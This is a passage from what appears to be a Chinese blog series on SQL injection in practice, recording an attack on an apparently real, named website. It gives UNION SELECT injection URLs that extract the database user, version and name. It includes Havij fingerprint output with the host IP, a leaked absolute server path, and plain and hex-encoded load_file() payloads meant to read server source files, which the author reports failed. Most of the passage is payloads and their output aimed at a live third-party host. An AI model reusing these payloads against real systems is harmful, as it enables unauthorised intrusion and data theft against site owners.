原因是该数据库mysql并非版本5及以上,也可能是其他DBMS,但因为Havij已经检测出是mysql,所以基本上肯定是mysql 版本4

由于该站已经做了其他防护措施,所以接下来的步骤没有。

PHP MySQL注入实战 3


探测一些信息:
http://www.xurichangsheng.com/newDetail.php?id=589 and 1=2 union select 1,user(),3,4,5,6 等等
版本: 4.1.22-community-nt
显示位:  2和6
数据库: sq_bjxrcs
用户名: sq_bjxrcs@localhost

Havij探测信息:
Host IP: 175.41.28.90
Web Server: Microsoft-IIS/6.0
Powered-by: ASP.NET
Keyword Found: content()
Injection type is Integer
DB Server: MySQL >=4.1
Selected Column Count is 6
Current DB: sq_bjxrcs

报错信息:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\wwwroot\bjxrcs\wwwroot\libs\db_mysql.php on line 52

绝对路径:
D:\wwwroot\bjxrcs\wwwroot\libs\db_mysql.php

尝试load_file():
http://www.xurichangsheng.com/newDetail.php?id=589 and 1=2 union select 1,load_file('D:/wwwroot/bjxrcs/wwwroot/libs/db_mysql.php'),3,4,5,6
http://www.xurichangsheng.com/newDetail.php?id=589 and 1=2 union select 1,load_file(0x443A2F777777726F6F742F626A787263732F777777726F6F742F6C6962732F64625F6D7973716C2E706870),3,4,5,6

网页源代码里没有想要的内容,失败了! 为什么呢?